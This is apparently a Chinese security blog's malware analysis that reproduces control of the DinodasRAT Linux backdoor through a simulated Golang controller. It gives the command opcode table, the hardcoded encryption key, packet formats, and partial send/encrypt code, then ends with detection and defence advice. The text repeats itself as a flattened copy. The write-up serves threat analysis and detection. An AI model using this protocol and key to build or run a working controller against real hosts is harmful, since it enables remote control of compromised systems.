以中国为目标的DinodasRAT Linux后门攻击场景复现
字数 1608 2025-08-04 22:51:28

DinodasRAT Linux后门攻击场景复现与分析

概述

DinodasRAT是一种针对Linux系统的远程访问木马(RAT),本文档将详细分析其攻击场景、通信机制和控制功能实现。该后门具有多种远控功能,包括文件操作、进程管理、命令执行等,并采用加密通信机制。

技术特点

  1. 跨平台性:专门针对Linux系统开发
  2. 隐蔽性:采用加密通信,可卸载自身
  3. 多功能性:支持文件操作、进程管理、命令执行等多种功能
  4. 持久性:可长期驻留受控主机

攻击场景复现

环境准备

  • 控制端:模拟构建的DinodasRAT控制程序(Golang实现)
  • 被控端:植入DinodasRAT Linux后门的主机
  • 通信端口:默认使用TCP 80端口

功能演示

控制端支持以下主要功能指令:

********支持功能如下********
DirClass:查看目录
DelDir:删除目录
EnumProcess:查看进程
DealExShell:执行shell命令
UninstallMm:卸载自身
**************************

1. 执行Shell命令(DealExShell)

>DealExShell
DealExShell指令-请输入需执行的shell命令:
>ifconfig

返回结果包含网络接口详细信息,证明命令执行成功。

2. 目录查看(DirClass)

>DirClass
DirClass指令-请输入需查看的目录路径:
>/tmp/

返回/tmp/目录下的文件列表,包括文件大小、修改时间等信息。

3. 进程枚举(EnumProcess)

>EnumProcess

返回系统所有进程列表,包括进程名、用户、PID等信息。

4. 自我卸载(UninstallMm)

>UninstallMm
*******************UninstallMm:*******************
UninstallMm ok

成功执行后,后门程序将从系统中移除。

关键代码分析

通信框架

DinodasRAT采用加密通信机制,主要特点:

  1. 心跳机制:定期发送心跳包维持连接
  2. 双向加密:所有通信数据均加密传输
  3. 固定密钥:使用内置密钥A101A8EAC010FB120671F318ACA061AF

加密算法实现

采用类似TEA的加密算法,关键函数:

func qq_decipher(input []uint32, key []uint32) (result uint32, output []uint32) {
    sum := uint32(0xE3779B90)
    delta := uint32(0x9E3779B9)
    y := input[0]
    z := input[1]
    // ... 16轮加密运算
}

远控功能与指令对应表

远控函数 远控功能 指令编号(hex)
DirClass 列目录 0x02
DelDir 删除目录 0x03
UpLoadFile 上传文件 0x05
DownLoadFile 下载文件 0x08
DealChgIp 修改C&C地址 0x0E
EnumProcess 枚举进程列表 0x11
StopProcess 终止进程 0x12
EnumService 枚举服务 0x13
DealExShell 执行shell 0x18
StartShell 开启shell 0x1B
DealFile 下载并更新后门版本 0x27
UninstallMm 卸载自身 0x2E

通信模型剖析

数据包结构

1. 发送数据包结构

#原始数据
20000000e703881435b674f7de23a2f80fe35ac0ba1a46c7d96e08a8747889eacf6b1950

#解密后
1800000000080000006966636f6e666967

#解析
1800000000          #DealExShell功能对应的远控指令
08000000            #载荷长度
6966636f6e666967    #字符串:ifconfig

2. 接收数据包结构

包含随机填充、指令编号、设备标识和返回数据:

57ffffffffffffff4aec1800000000370000007b0300004c696e75785f32303234303530355f30346662373038313830326634326638336134323434383732343063623237375f343533325f5637...

心跳通信

心跳包特征:

  • 固定以0x30开头
  • 包含设备标识信息
  • 固定长度数据包

示例心跳包:

3078000000c7c338a7d4639d4beef26f76764f604d2a126b3ae06a8d2da8b0e78a154df6c996f06d0cffbd341be6fa4ce0c72b9c185ea9c2e48ecc4d239c33585a3d598442f069dffa971841eadd5144084626b95de5f3ef937a77bed91e7c6161fb94ea8240ea939d04b0ee32eda9ddd917e9393aaca0c7ecb483d069

控制端模拟实现

核心代码结构

  1. main.go - 主控制逻辑
  2. common.go - 通用函数和工具
  3. dinodasrat_de.go - 解密实现
  4. dinodasrat_en.go - 加密实现

关键功能实现

1. 命令发送

func Sendbuf(conn net.Conn, buf []byte) {
    sendbuf := []byte{}
    key, _ := hex.DecodeString("A101A8EAC010FB120671F318ACA061AF")
    output := Qq_encrypt(buf, len(buf), key)
    sendbuf = append(sendbuf, IntToBytes_little(len(output))...)
    sendbuf = append(sendbuf, output...)
    conn.Write(sendbuf)
}

2. 数据接收处理

func KeepHeart_Recv(conn net.Conn, encdata chan []byte) {
    for {
        recvbuf, err := common.RecvBuf(conn)
        if err != nil {
            continue
        }
        // 解密和处理接收到的数据
        // ...
    }
}

3. 加密实现

func Qq_encrypt(plain []byte, plain_len int, key []byte) (output []byte) {
    // 添加随机填充
    padding := (plain_len + 10) % 8
    if padding > 0 {
        padding = 8 - padding
    }
    randomBytes := make([]byte, 20)
    rand.Read(randomBytes)
    // 执行加密算法
    // ...
}

检测与防御

检测特征

  1. 网络特征

    • 固定端口通信(默认80)
    • 心跳包固定结构(0x30开头)
    • 使用固定加密密钥
  2. 主机特征

    • 可疑进程行为
    • 异常网络连接
    • 自我卸载功能

防御建议

  1. 监控异常网络通信模式
  2. 检查系统可疑进程和服务
  3. 限制不必要的网络访问
  4. 定期更新系统和安全补丁
  5. 使用EDR类产品检测异常行为

总结

DinodasRAT Linux后门是一个功能完备的远程控制工具,具有高度隐蔽性和多种控制功能。通过分析其通信协议和功能实现,可以更好地检测和防御此类威胁。安全团队应关注其网络特征和行为模式,建立相应的检测规则。

DinodasRAT Linux后门攻击场景复现与分析 概述 DinodasRAT是一种针对Linux系统的远程访问木马(RAT),本文档将详细分析其攻击场景、通信机制和控制功能实现。该后门具有多种远控功能,包括文件操作、进程管理、命令执行等,并采用加密通信机制。 技术特点 跨平台性 :专门针对Linux系统开发 隐蔽性 :采用加密通信,可卸载自身 多功能性 :支持文件操作、进程管理、命令执行等多种功能 持久性 :可长期驻留受控主机 攻击场景复现 环境准备 控制端 :模拟构建的DinodasRAT控制程序(Golang实现) 被控端 :植入DinodasRAT Linux后门的主机 通信端口 :默认使用TCP 80端口 功能演示 控制端支持以下主要功能指令: 1. 执行Shell命令(DealExShell) 返回结果包含网络接口详细信息,证明命令执行成功。 2. 目录查看(DirClass) 返回/tmp/目录下的文件列表,包括文件大小、修改时间等信息。 3. 进程枚举(EnumProcess) 返回系统所有进程列表,包括进程名、用户、PID等信息。 4. 自我卸载(UninstallMm) 成功执行后,后门程序将从系统中移除。 关键代码分析 通信框架 DinodasRAT采用加密通信机制,主要特点: 心跳机制 :定期发送心跳包维持连接 双向加密 :所有通信数据均加密传输 固定密钥 :使用内置密钥 A101A8EAC010FB120671F318ACA061AF 加密算法实现 采用类似TEA的加密算法,关键函数: 远控功能与指令对应表 | 远控函数 | 远控功能 | 指令编号(hex) | |---------|---------|--------------| | DirClass | 列目录 | 0x02 | | DelDir | 删除目录 | 0x03 | | UpLoadFile | 上传文件 | 0x05 | | DownLoadFile | 下载文件 | 0x08 | | DealChgIp | 修改C&C地址 | 0x0E | | EnumProcess | 枚举进程列表 | 0x11 | | StopProcess | 终止进程 | 0x12 | | EnumService | 枚举服务 | 0x13 | | DealExShell | 执行shell | 0x18 | | StartShell | 开启shell | 0x1B | | DealFile | 下载并更新后门版本 | 0x27 | | UninstallMm | 卸载自身 | 0x2E | 通信模型剖析 数据包结构 1. 发送数据包结构 2. 接收数据包结构 包含随机填充、指令编号、设备标识和返回数据: 心跳通信 心跳包特征: 固定以0x30开头 包含设备标识信息 固定长度数据包 示例心跳包: 控制端模拟实现 核心代码结构 main.go - 主控制逻辑 common.go - 通用函数和工具 dinodasrat_ de.go - 解密实现 dinodasrat_ en.go - 加密实现 关键功能实现 1. 命令发送 2. 数据接收处理 3. 加密实现 检测与防御 检测特征 网络特征 : 固定端口通信(默认80) 心跳包固定结构(0x30开头) 使用固定加密密钥 主机特征 : 可疑进程行为 异常网络连接 自我卸载功能 防御建议 监控异常网络通信模式 检查系统可疑进程和服务 限制不必要的网络访问 定期更新系统和安全补丁 使用EDR类产品检测异常行为 总结 DinodasRAT Linux后门是一个功能完备的远程控制工具,具有高度隐蔽性和多种控制功能。通过分析其通信协议和功能实现,可以更好地检测和防御此类威胁。安全团队应关注其网络特征和行为模式,建立相应的检测规则。